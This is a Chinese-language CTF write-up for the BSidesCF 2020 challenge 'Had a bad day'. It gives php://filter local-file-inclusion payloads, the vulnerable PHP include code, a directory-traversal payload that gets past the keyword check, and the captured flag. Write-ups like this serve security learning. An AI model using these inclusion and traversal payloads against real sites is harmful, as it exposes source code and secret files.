[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
华舞灵瞳6 小时前
学习FPGA(六)锁相环
学习·fpga开发
小裕哥略帅6 小时前
PMP学习笔记--环境
笔记·学习
Darkershadow7 小时前
python学习之串口通信
python·学习
BullSmall8 小时前
普罗米修斯 的学习路径及建议
学习·prometheus
happyjoey2178 小时前
28天立创实力派开发板学习记录part1——DAY1-DAY8
学习
非凡ghost10 小时前
CoolUtils PDF Combine(PDF合并工具)
windows·学习·pdf·软件需求
阿W呀10 小时前
【光的偏振与光功率 / 能量测量学习笔记】
学习
allan bull10 小时前
在节日中寻找平衡:圣诞的欢乐与传统节日的温情
人工智能·学习·算法·职场和发展·生活·求职招聘·节日
wdfk_prog10 小时前
[Linux]学习笔记系列 -- [fs]fs-writeback
linux·笔记·学习
charlie11451419111 小时前
嵌入式现代C++教程:C++98——从C向C++的演化(3)
c语言·开发语言·c++·笔记·学习·嵌入式